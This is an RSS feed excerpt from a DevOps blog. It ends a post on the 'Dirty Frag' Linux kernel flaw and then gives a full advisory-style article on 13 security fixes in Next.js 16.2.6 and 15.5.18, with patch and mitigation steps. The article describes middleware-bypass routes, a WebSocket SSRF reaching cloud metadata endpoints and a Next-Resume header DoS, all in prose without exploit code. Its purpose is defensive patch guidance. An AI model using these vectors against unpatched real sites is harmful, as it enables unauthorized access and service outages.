<p>The ESP fix is upstream. Vendor kernels are the next 24-72 hours. RxRPC will trail by a few more days. Get the cheap mitigations on every machine before lunchtime and the patch can take its normal cadence.</p>
<h3 id="h3-references" class="group relative scroll-mt-24">
        <a href="#h3-references" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          References
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-references"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><a href="https://www.wiz.io/blog/dirty-frag-linux-kernel-local-privilege-escalation-via-esp-and-rxrpc">Wiz: Dirty Frag (CVE-2026-43284) Linux Privilege Escalation</a></li>
<li><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-003">Red Hat: RHSB-2026-003 Networking subsystem Privilege Escalation</a></li>
<li><a href="https://www.tenable.com/blog/dirty-frag-cve-2026-43284-cve-2026-43500-frequently-asked-questions-linux-kernel-lpe">Tenable FAQ: Dirty Frag (CVE-2026-43284, CVE-2026-43500)</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/">BleepingComputer: New Linux &#39;Dirty Frag&#39; zero-day gives root on all major distros</a></li>
<li><a href="https://thehackernews.com/2026/05/linux-kernel-dirty-frag-lpe-exploit.html">The Hacker News: Linux Kernel Dirty Frag LPE Exploit</a></li>
<li><a href="https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/">Help Net Security: Dirty Frag - Unpatched Linux vulnerability delivers root access</a></li>
<li><a href="https://almalinux.org/blog/2026-05-07-dirty-frag/">AlmaLinux: Dirty Frag patches released</a></li>
<li><a href="https://www.phoronix.com/news/Dirty-Frag-Linux">Phoronix: Dirty Frag Vulnerability Made Public Early</a></li>
<li><a href="https://www.heise.de/en/news/Dirty-Frag-Linux-flaws-grant-root-access-11286796.html">heise: &quot;Dirty Frag&quot; Linux flaws grant root access</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Next.js 16.2.6 and 15.5.18 Ship 13 Security Fixes: Patch Now]]></title>
      <link>https://devops-daily.com/posts/nextjs-16-2-6-15-5-18-security-release</link>
      <description><![CDATA[Vercel released back-to-back security updates for Next.js covering 7 high, 4 moderate, and 2 low severity advisories, including an upstream React denial-of-service issue. Here is what is broken, who is exposed, and the rollout path.]]></description>
      <pubDate>Fri, 08 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/nextjs-16-2-6-15-5-18-security-release</guid>
      <category><![CDATA[Security]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[nextjs]]></category><category><![CDATA[react]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[cve]]></category><category><![CDATA[app-router]]></category>
      <content:encoded><![CDATA[<p>If you run any production Next.js app, you have work to do today. On May 7, 2026, Vercel published Next.js 16.2.6 and 15.5.18 with 13 security advisories rolled into the same release. Seven are rated high, four moderate, two low, and one of them is an upstream React vulnerability in the Server Components runtime that affects any framework using React 19. The exploitable surface stretches from middleware bypasses that defeat your auth checks all the way to a server-side request forgery in WebSocket upgrades.</p>
<p>The official guidance is the kind that gets your attention: &quot;We strongly recommend upgrading as soon as possible.&quot; Self-hosted apps are squarely in the line of fire. Vercel-hosted apps get partial cover from platform-level mitigations on a few of the issues, but the framework patch is the only complete fix.</p>
<p>Here is what shipped, who needs to act, and how to roll it out without breaking your weekend.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Releases</td>
<td>Next.js 16.2.6 and 15.5.18</td>
</tr>
<tr>
<td>Advisories</td>
<td>13 (7 High, 4 Moderate, 2 Low)</td>
</tr>
<tr>
<td>Worst CVSS</td>
<td>8.6 (WebSocket SSRF)</td>
</tr>
<tr>
<td>Upstream React CVE</td>
<td>CVE-2026-23870 (Server Components DoS)</td>
</tr>
<tr>
<td>Affected versions</td>
<td>Varies by advisory; many cover 15.x &lt; 15.5.16 and 16.x &lt; 16.2.5, with some also reaching 13.x and 14.x</td>
</tr>
<tr>
<td>Patched versions</td>
<td>15.5.18 (cumulative on the 15.x line) and 16.2.6 (cumulative on the 16.x line)</td>
</tr>
<tr>
<td>Node engine</td>
<td>15.5.18 needs <code>^18.18.0 || ^19.8.0 || &gt;=20.0.0</code>; 16.2.6 needs <code>&gt;=20.9.0</code></td>
</tr>
<tr>
<td>Vercel-hosted</td>
<td>Partially mitigated for some advisories</td>
</tr>
<tr>
<td>Self-hosted</td>
<td>Fully exposed until upgraded</td>
</tr>
<tr>
<td>What you do</td>
<td><code>npm install next@latest</code> on the same major, redeploy, audit middleware-only authorization</td>
</tr>
</tbody></table>
<h2 id="h2-what-shipped" class="group relative scroll-mt-24">
        <a href="#h2-what-shipped" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Shipped
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-shipped"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Both releases bundle the same 13 advisories. The difference is the major version line you are on:</p>
<ul>
<li><strong>Next.js 15.x</strong> users land on <code>15.5.18</code>. The cumulative fix actually started at <code>15.5.16</code>, with 15.5.18 picking up the rest.</li>
<li><strong>Next.js 16.x</strong> users land on <code>16.2.6</code>. Same pattern: a chunk of the fixes are in <code>16.2.5</code>, the rest are in <code>16.2.6</code>.</li>
</ul>
<p>If you stayed on a 15.x release because you have not migrated to 16, you are not stuck. The 15.5 line is still being patched and gets the same coverage. There is no mandatory major upgrade hidden inside this release. You install the highest patch on your current major and you are done with the framework side of the work.</p>
<p>Note the Node version requirements differ between the two lines. Confirm your runtime before you bump:</p>
<ul>
<li><strong>Next.js 15.5.18</strong> declares <code>engines.node</code> as <code>^18.18.0 || ^19.8.0 || &gt;=20.0.0</code>. Same baseline as the rest of the 15.5.x stream.</li>
<li><strong>Next.js 16.2.6</strong> declares <code>engines.node</code> as <code>&gt;=20.9.0</code>. If you are still on Node 18, you have to either pick up the 15.5.18 fix on the 15.x line or upgrade Node before you can move to 16.2.6.</li>
</ul>
<p>Verify with <code>node --version</code> and your CI image before pinning.</p>
<h2 id="h2-the-high-severity-advisories" class="group relative scroll-mt-24">
        <a href="#h2-the-high-severity-advisories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The High-Severity Advisories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-high-severity-advisories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Seven of the 13 are tagged High. They split into three rough groups: middleware/proxy bypass, denial of service, and one server-side request forgery that stands on its own.</p>
<h3 id="h3-middleware-bypasses-four-advisories-all-75-cvss" class="group relative scroll-mt-24">
        <a href="#h3-middleware-bypasses-four-advisories-all-75-cvss" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Middleware bypasses (four advisories, all 7.5+ CVSS)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-middleware-bypasses-four-advisories-all-75-cvss"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the headline story. Four separate techniques for getting past Next.js middleware authorization checks shipped in the same release. If your app relies on <code>middleware.ts</code> for auth, RBAC, or any other access control, your authorization model is broken on the affected versions.</p>
<p>The four bypass paths:</p>
<ol>
<li><strong>Segment-prefetch URLs (GHSA-267c-6grr-h53f)</strong>: Specially crafted <code>.rsc</code> and segment-prefetch URLs resolve to the same protected page but slip past the middleware matcher. CVSS 7.5. Affects 15.2.0 through 15.5.15 and 16.0.0 through 16.2.4.</li>
<li><strong>Segment-prefetch incomplete fix follow-up (GHSA-26hh-7cqf-hhc6)</strong>: A second variant of the same class that the original fix did not cover. Same severity, same affected range.</li>
<li><strong>Dynamic route parameter injection (GHSA-492v-c6pp-mqqv, CVE-2026-44574)</strong>: Crafted query parameters change the dynamic route value the page sees while leaving the URL path untouched. Authorization checks that compare the path pass while the page renders content for a different parameter. CVSS 8.1, the second-worst score in this batch. Affects 15.4.0 through 15.5.15 and 16.0.0 through 16.2.4.</li>
<li><strong>Pages Router i18n (GHSA-36qx-fr4f-26g5)</strong>: Apps using i18n in the Pages Router can be hit through the unprefixed <code>/_next/data/&lt;buildId&gt;/&lt;page&gt;.json</code> route. The middleware matcher does not protect this transport variant. CVSS 7.5.</li>
</ol>
<p>The pattern across all four is the same: middleware was being matched against the human-facing URL, and Next.js had additional internal transport variants (RSC payloads, prefetch segments, raw data routes, query-injected routes) that resolved to the same page through code paths the matcher did not see. The patches extend the matcher to cover those variants.</p>
<p>This is not a new class of bug for Next.js. The historic CVE-2025-29927 from 2025 was a single middleware bypass. This release ships four. If your authorization story has been &quot;the middleware will catch it,&quot; now is the time to revisit.</p>
<h3 id="h3-server-side-request-forgery-cvss-86" class="group relative scroll-mt-24">
        <a href="#h3-server-side-request-forgery-cvss-86" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Server-side request forgery (CVSS 8.6)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-server-side-request-forgery-cvss-86"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>GHSA-c4j6-fc7j-m34r</strong> is the highest-rated single CVE in the release. A self-hosted Next.js app handling WebSocket upgrades can be tricked into proxying requests to arbitrary internal or external destinations. Cloud metadata endpoints (the AWS IMDS, GCP and Azure equivalents) and internal services on the cluster network are reachable from this primitive. The HTTP path already had safety checks. WebSocket upgrades did not.</p>
<p>Affects 13.4.13 through 15.5.15 and 16.0.0 through 16.2.4. Vercel-hosted apps are not exposed here. Self-hosted is.</p>
<h3 id="h3-the-upstream-react-dos-cvss-75" class="group relative scroll-mt-24">
        <a href="#h3-the-upstream-react-dos-cvss-75" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The upstream React DoS (CVSS 7.5)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-upstream-react-dos-cvss-75"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>GHSA-8h8q-6873-q5fj</strong> is the one Next.js does not own. The bug lives in <code>react-server-dom</code> (React Server Components 19.x) and is tracked upstream as <strong>CVE-2026-23870</strong>. A crafted POST to a Server Function endpoint forces the deserializer into excessive CPU work. The CWE is &quot;allocation of resources without limits or throttling.&quot; A small request, an outsized cost.</p>
<p>Next.js patches the React dependency for you when you upgrade. If you are on a different React Server Components host (Remix, Waku, custom RSC stack), keep an eye on the React project for the equivalent fix on your runtime.</p>
<h3 id="h3-two-more-denial-of-service-paths" class="group relative scroll-mt-24">
        <a href="#h3-two-more-denial-of-service-paths" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Two more denial-of-service paths
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-two-more-denial-of-service-paths"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>GHSA-mg66-mrh9-m8jx</strong> is a connection-exhaustion DoS in apps using <strong>Cache Components</strong>. A POST to a server action with a malicious <code>Next-Resume</code> header triggers a request-body handling deadlock that holds the connection open. Pile up enough of these and the server runs out of slots. The fix treats <code>Next-Resume</code> as an internal-only header and strips it from incoming requests.</li>
<li><strong>GHSA-h64f-5h5j-jqjh</strong> is a DoS in the <strong>Image Optimization API</strong> (moderate severity). The image pipeline can be pushed into expensive work by crafted requests.</li>
</ul>
<h2 id="h2-the-moderate-and-low-severity-items" class="group relative scroll-mt-24">
        <a href="#h2-the-moderate-and-low-severity-items" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Moderate and Low-Severity Items
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-moderate-and-low-severity-items"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The four moderate fixes are smaller in blast radius but worth a look:</p>
<ul>
<li><strong>GHSA-ffhc-5mcf-pf4q</strong>: Stored XSS in App Router apps using CSP nonces behind shared caches. Malformed nonce values from request headers were reflected into rendered HTML, enabling cache poisoning. CVSS 4.7. Strip CSP-related request headers from untrusted sources at the edge if you cannot patch immediately.</li>
<li><strong>GHSA-gx5p-jg67-6x7h</strong>: XSS in <code>beforeInteractive</code> scripts when fed untrusted input.</li>
<li><strong>GHSA-h64f-5h5j-jqjh</strong>: The image optimization DoS mentioned above.</li>
<li><strong>GHSA-wfc6-r584-vfw7</strong>: Cache poisoning of React Server Component responses.</li>
</ul>
<p>The two low-severity items are both cache-related: collisions in RSC cache-busting (GHSA-vfv6-92ff-j949) and middleware proxy redirect cache poisoning (GHSA-3g8h-86w9-wvmq).</p>
<p>Low CVSS does not mean ignore. If you run behind a shared CDN or a multi-tenant cache, cache-poisoning bugs let one user&#39;s request affect another user&#39;s response. Treat them as a coordinated patch with the rest.</p>
<h2 id="h2-are-you-exposed" class="group relative scroll-mt-24">
        <a href="#h2-are-you-exposed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Exposed?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-exposed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few quick checks before you reach for the patch:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm your installed version</span>
npx next --version

<span class="hljs-comment"># Or grep the lockfile if you don&#x27;t want to run anything</span>
grep <span class="hljs-string">&#x27;&quot;next&quot;&#x27;</span> package.json
<span class="hljs-built_in">cat</span> package-lock.json 2&gt;/dev/null | grep -A1 <span class="hljs-string">&#x27;&quot;node_modules/next&quot;:&#x27;</span>
</code></pre><p>Decision matrix once you know your version:</p>
<table>
<thead>
<tr>
<th>Your version</th>
<th>Exposure</th>
<th>Action</th>
</tr>
</thead>
<tbody><tr>
<td>15.5.18 or 16.2.6 (or later on the same line)</td>
<td>Patched</td>
<td>None on framework, audit your code</td>
</tr>
<tr>
<td>15.5.16, 15.5.17, 16.2.5</td>
<td>Most fixes landed; the cumulative patch is on 15.5.18 / 16.2.6</td>
<td>Bump to the latest patch on your major</td>
</tr>
<tr>
<td>15.x below 15.5.16</td>
<td>Multiple advisories apply (exact set varies; ranges in each GHSA)</td>
<td>Upgrade to 15.5.18</td>
</tr>
<tr>
<td>16.x below 16.2.5</td>
<td>Multiple advisories apply (exact set varies; ranges in each GHSA)</td>
<td>Upgrade to 16.2.6</td>
</tr>
<tr>
<td>13.x or 14.x</td>
<td>Subset of the advisories reach back to 13.x; partial backports unlikely</td>
<td>Plan a major upgrade</td>
</tr>
</tbody></table>
<p>Affected ranges vary per advisory. The simple call is &quot;upgrade to 15.5.18 or 16.2.6 to cover the full batch.&quot; If you need the exact range for a single CVE, click into its GHSA from the release notes.</p>
<p>Vercel-hosted apps get platform-level mitigation for some of the bypass advisories. The framework patch is still the only complete fix and is required to clear the upstream React CVE and the Cache Components DoS.</p>
<h2 id="h2-rolling-out-the-patch" class="group relative scroll-mt-24">
        <a href="#h2-rolling-out-the-patch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rolling Out the Patch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-rolling-out-the-patch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The mechanics are short. Pin the new version, run the install, redeploy. Same major, no schema changes, no breaking config (mind the Node bump for 16.2.6 noted above).</p>
<!--email_off--><pre><code class="hljs language-bash"><span class="hljs-comment"># 15.x line</span>
npm install next@15.5.18
<span class="hljs-comment"># or</span>
pnpm add next@15.5.18
<span class="hljs-comment"># or</span>
yarn add next@15.5.18

<span class="hljs-comment"># 16.x line</span>
npm install next@16.2.6
</code></pre><!--/email_off--><p>Production rollout pattern that works for most teams:</p>
<!--email_off--><pre><code class="hljs language-bash"><span class="hljs-comment"># 1) Bump the dependency in a branch</span>
git checkout -b security/nextjs-patch
npm install next@16.2.6

<span class="hljs-comment"># 2) Run your typecheck and tests</span>
npm run typecheck
npm <span class="hljs-built_in">test</span>

<span class="hljs-comment"># 3) Build locally to catch any chunk regressions</span>
npm run build

<span class="hljs-comment"># 4) Deploy to staging first, smoke the auth flows you care about</span>
<span class="hljs-comment">#    - Sign-in / sign-out</span>
<span class="hljs-comment">#    - Any protected route reachable from the app shell</span>
<span class="hljs-comment">#    - Image optimization endpoints if you use them</span>
<span class="hljs-comment">#    - WebSocket / streaming routes if you self-host</span>

<span class="hljs-comment"># 5) Roll to production</span>
</code></pre><!--/email_off--><p>If you cannot deploy immediately, a few of the advisories ship workarounds:</p>
<ul>
<li><strong>Dynamic route parameter injection (GHSA-492v-c6pp-mqqv)</strong>: Implement authorization checks inside the route handler or page component, not only in middleware. This is good practice anyway.</li>
<li><strong>Cache Components DoS (GHSA-mg66-mrh9-m8jx)</strong>: Block requests carrying the <code>Next-Resume</code> header at your edge or proxy.</li>
<li><strong>CSP nonce XSS (GHSA-ffhc-5mcf-pf4q)</strong>: Strip inbound CSP-related request headers from untrusted clients.</li>
<li><strong>WebSocket SSRF (GHSA-c4j6-fc7j-m34r)</strong>: If you self-host and do not actually use WebSocket upgrades, drop them at the proxy.</li>
</ul>
<p>These are stopgaps. They are not equivalent to the patch.</p>
<h2 id="h2-lessons-for-your-architecture" class="group relative scroll-mt-24">
        <a href="#h2-lessons-for-your-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Lessons for Your Architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-lessons-for-your-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A release with four middleware bypasses in one go is a strong hint about how to think about authorization in App Router apps.</p>
<p><strong>Defense in depth, not middleware only.</strong> Middleware is fast and convenient. It is also one match function away from being routed around. Production-grade authorization for App Router apps belongs in two places at minimum: the middleware (cheap, early reject) and the route handler or page component (authoritative, runs after the framework has resolved the actual page being served). The dynamic route parameter injection bug is a textbook case where the middleware match was correct on the URL the user sent, but the page logic ran on a different parameter.</p>
<p><strong>Self-hosted means you own the perimeter.</strong> The WebSocket SSRF and the Cache Components DoS are sharper for self-hosted deployments. If you are the one running the Next.js process behind nginx or a Kubernetes ingress, you also get to decide which headers and protocols pass through. Strip <code>Next-Resume</code> from inbound requests. Block WebSocket upgrades on routes that do not need them. Keep IMDSv2 enforced on EC2 (or the equivalent on GCP and Azure) so an SSRF cannot pull a session token from the metadata service.</p>
<p><strong>Treat shared caches as untrusted output.</strong> Two of the moderate bugs and both lows involve cache poisoning. If you put a CDN or a shared cache in front of Next.js, every header your app reflects into HTML or sets as a cache key is a potential surface. Strip request headers you do not own at the edge. Set explicit <code>Cache-Control</code> and <code>Vary</code> so the cache is not deciding for you.</p>
<p><strong>Patch cadence is part of the architecture.</strong> The patches are non-breaking. The pain of catching up after skipping six security releases is much higher than the pain of merging a Dependabot PR each time one lands. If you do not have automated dependency updates wired up, the cost lands on a future Monday morning instead.</p>
<h2 id="h2-self-hosting-checklist" class="group relative scroll-mt-24">
        <a href="#h2-self-hosting-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Self-Hosting Checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-self-hosting-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you self-host Next.js (or you&#39;re about to), here is what to verify alongside the upgrade:</p>
<ul>
<li><input disabled="" type="checkbox"> Run a fresh build and confirm no warnings about removed APIs in the patch notes.</li>
<li><input disabled="" type="checkbox"> Audit every <code>middleware.ts</code> matcher. If a matcher uses path patterns only, add an authorization check inside the route or page that is independent of the path.</li>
<li><input disabled="" type="checkbox"> Confirm your reverse proxy strips <code>Next-Resume</code> and any other internal Next.js headers from inbound requests.</li>
<li><input disabled="" type="checkbox"> Confirm WebSocket upgrades are only allowed on routes that need them.</li>
<li><input disabled="" type="checkbox"> Pin a minimum Next.js version in a renovate or dependabot config so future security releases land automatically.</li>
<li><input disabled="" type="checkbox"> Subscribe to the <a href="https://github.com/vercel/next.js/security/advisories">Next.js GitHub security advisories</a> or the <a href="https://github.com/advisories">GitHub Security Lab feed</a> so the next batch does not surprise you.</li>
</ul>
<h2 id="h2-where-to-run-your-patched-app" class="group relative scroll-mt-24">
        <a href="#h2-where-to-run-your-patched-app" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where to Run Your Patched App
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-to-run-your-patched-app"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Self-hosting Next.js is a real choice in 2026. You get to control the perimeter, you avoid platform lock-in, and you can size compute to your actual traffic instead of paying for cold-start headroom you do not use.</p>
